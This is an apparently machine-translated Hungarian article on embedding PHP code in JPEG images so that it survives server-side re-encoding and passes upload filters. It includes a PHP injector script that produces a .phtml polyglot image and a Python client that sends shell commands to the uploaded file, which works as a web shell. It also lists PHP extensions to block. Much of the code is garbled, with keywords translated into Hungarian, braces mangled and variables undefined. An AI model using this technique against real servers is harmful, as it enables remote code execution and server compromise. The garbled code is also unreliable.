A php-kód elrejtése a képeken
Néhány évvel ezelőtt egy pillantást vetettem egy olyan témára, amely a fájlok PHP használatával történő letöltésére szolgál. Ebben a témában az emberek megvitatták azokat a lépéseket, amelyeket meg kell tenni a kiszolgáló rosszindulatú fájlok elleni védelme érdekében.
Néhány évvel ezelőtt egy pillantást vetettem egy olyan témára, amely a fájlok PHP használatával történő letöltésére szolgál. Ebben a témában az emberek megvitatták azokat a lépéseket, amelyeket meg kell tenni a kiszolgáló rosszindulatú fájlok elleni védelme érdekében. Különösen azt javasolták, hogy csak bizonyos típusú fájlok letöltését, a már letöltött fájlok feldolgozását és így tovább lehet letölteni.
A megbeszélés során a következő biztonsági intézkedéseket találta fel: tiltsa a php parancsfájlokkal kapcsolatos fájlok letöltését, majd az ImageJpeg (képfeldolgozó függvény PHP-ben) használatát a letöltött képek ellenőrzésére. Mint fejlesztő, ez a komplex intézkedés nagyon kellemes számomra. Ha a fájl nem egyezik meg a képformátummal, akkor az ImageJpeg funkció hamis, és a letöltés törlődik. Másrészt, még akkor is, ha a támadó sikeresen beillesztette a kódot egy képbe, a lemezre mentés előtt lévő képet az ImageJpeg függvény is feldolgozza és módosítja.
A "fekete lista" módszer használata nem túl jó ötlet, mert a végrehajtható fájlok alternatív kiterjesztésűek lehetnek. Ha a fenti példában megpróbáljuk megakadályozni a csak php kiterjesztéssel rendelkező fájlok letöltését, kérjük, vegye figyelembe, hogy a PHP-ben a végrehajtható parancsfájl rendelkezik a következő öt kiterjesztés valamelyikével: php3. php4. php5. phtml és .phps.
Számos kísérlet után sikerült a feldolgozott képet beilleszteni a munkakódba.
A befecskendezési kódmódosítás javításának folyamatában, ügyelve arra, hogy a kép ne torzuljon sokat, írtam egy parancsfájlt, amely automatikusan hozzáadja a kódot a képhez. Miután tesztelte a szkriptet és feldolgozta a feltöltött képet különböző segédprogramokkal (beleértve az ImageJpeg funkciót is), a kód működőképes maradt. A képméret megváltoztatására is teszteltek, és sok esetben a kód is működött (de nem mindig).
Az alábbiakban látható a kép a befecskendezési kód előtt:
A következő kép (a torzítás mértéke az adott képtől függ) már az injektált kóddal. Ne aggódjon, a kód nem kerül végrehajtásra a jelenlegi állapotban.
Az alábbiakban egy kódfájl automatizálja a kód hozzáadását:
ini_set ('display_errors', 0);
error_reporting (0);
// A feltöltött kész eredményt tartalmazó fájl
$ result_file = 'pic.jpg.phtml';
// Eredeti bemeneti fájl
$ orig = 'test.jpg';
// Temp fájlnév
$ filename = $ orig. '_mod.jpg';
// A képadatokban elrejtendő kód
$ code = '';
echo "- = Imagejpeg injektor 1.6 = - \ n";
$ src = imagecreatefromjpeg ($ orig);
imagejpeg ($ src, $ filename, 100);
$ data = file_get_contents ($ filename);
$ tmpData = array ();
echo "[+] Ugrás a végpontra \ n";
$ start_byte = findStart ($ adatok);
echo "[+] Érvényes befecskendezési pont keresése \ n";
($ i = strlen ($ adatok) -1; $ i> $ start_byte; - $ i)
<
$ tmpData = $ adatok;
$ z, $ z = (strlen ($ kód) -1), $ z> = 0; - $ z, - $ n)
<
$ tmpData [$ n] = $ kód [$ z];
>
$ src = imagecreatefromstring ($ tmpData);
imagejpeg ($ src, $ result_file, 100);
ha (checkCodeInFile ($ result_file, $ code))
<
unlink ($ filename);
kapcsolat megszüntetése ($ result_file);
alvás (1);
file_put_contents ($ result_file, $ tmpData);
echo "[!] Hőmérséklet-megoldás, ha itt" helyrehozható "hibát kap, akkor valószínűleg nem sikerült \ n";
alvás (1);
$ src = imagecreatefromjpeg ($ eredmény_fájl);
echo "[+] Az injektálás sikeresen befejeződött \ n";
echo "[+] Fájlnév:". $ result_file. "\ n";
die ();
>
más
<
kapcsolat megszüntetése ($ result_file);
>
>
echo "[-] Nem találhat érvényes injektálási pontot, próbáljon rövidebb parancsot vagy más képet \ n";
function checkCodeInFile ($ fájl, $ kód)
<
ha (file_exists ($ file))
<
$ content = loadFile ($ file);
>
más
<
$ content = "0";
>
return strstr ($ tartalom, $ kód);
>
function loadFile ($ file)
<
$ handle = fopen ($ fájl, "r");
$ buffer = fread ($ fogantyú, fájlméret ($ file));
fclose ($ handle);
Összefoglalva. Néhány napi kísérlet után sikerült megkerülnünk a parancsfájl védelmét és automatizálnám a folyamatot (a parancsfájl lépései az alábbiakban láthatók):
[+] Ugrás a vég bájtra
[+] Érvényes befecskendezési pont keresése
[+] Az injektálás sikeresen befejeződött
[+] Fájlnév: result.phtml
És végül egy egyszerű parancsfájlt írtam a parancsok elküldéséhez a fájlba a feltöltés után a szerverre, a képen belüli információk értelmezésére és az eredmények megjelenítésére.
import urllib.request
import argparse
import http.client
import urllib.parse
import újra
def main ():
parser = argparse.ArgumentParser ()
parser.add_argument ("domain", help = "domain a kapcsolódáshoz")
parser.add_argument ("port", help = "port csatlakozni")
parser.add_argument ("elérési út", help = "útvonal a jellyshelly fájlhoz")
args = parser.parse_args ()
domain = args.domain
path = args.path
port = args.port
ha (makeTest (domain, elérési út, port)):
cmd = ""
print ("Kilépés a befejezéshez")
míg (cmd! = "exit"):
cmd = bemenet ("")
ha (cmd.strip ()! = ''):
makeRequest ("echo" foiwe303t43jd $ ("+ cmd +") foiwe303t43jd "", domain, port, útvonal)
def makeRequest (cmd, domain, port, elérési út):
lines = cmd.split ('\ n')
httpServ = http.client.HTTPConnection (domain, port)
httpServ.connect ()
httpServ.request ('POST', útvonal, params, fejlécek)
válasz = httpServ.getresponse ()
response_string = response.read () decode ("utf-8", "replace")
ha response.status == http.client.OK:
az eredményhez re.findall (r '(?<=foiwe303t43jd).*?(?=foiwe303t43jd)', response_string, re.DOTALL):
nyomtatás (result.strip ())
httpServ.close ()
def makeTest (domain, elérési út, port):
httpServ = http.client.HTTPConnection (domain, port)
httpServ.connect ()
httpServ.request ("GET", elérési út)
válasz = httpServ.getresponse ()
nyomtatás (response.status)
return response.status == http.client.OK
ha __name__ == "__main__":
fő ()
Amint láthatja, a fájl betöltő könnyen válik gyenge kapcsolatra a biztonsági rendszerben. Számos módon lehet feltölteni egy fájlt az összes korlátozáson keresztül. Egy speciálisan motivált támadó sok időt tölthet, és gyakran megtalálja a módját, hogy elkerülje a védekező mechanizmusokat. A cikkben bemutatott trükk nem csak a PHP-re vonatkozik, hanem más környezetekre is. Természetesen számos jó módszer létezik, az adott feladattól függően, de ezek a módszerek nem teljesen biztonságosak. Ezenkívül a fejlesztő a védelmi mechanizmusok végrehajtásának folyamatában lehetővé tehet egy általános hibát (a klasszikus eset: a kiterjesztés ellenőrzése .jpg a file.jpg.php fájlt átugorja).
Bárki, aki feketelistákat használ a fájlok blokkolásához, hozzá kell adnia a következő bővítményeket. php, .phtml, .php4, .php4, .php5. És ne felejtsük el, hogy egy napon megjelenik a PHP 6.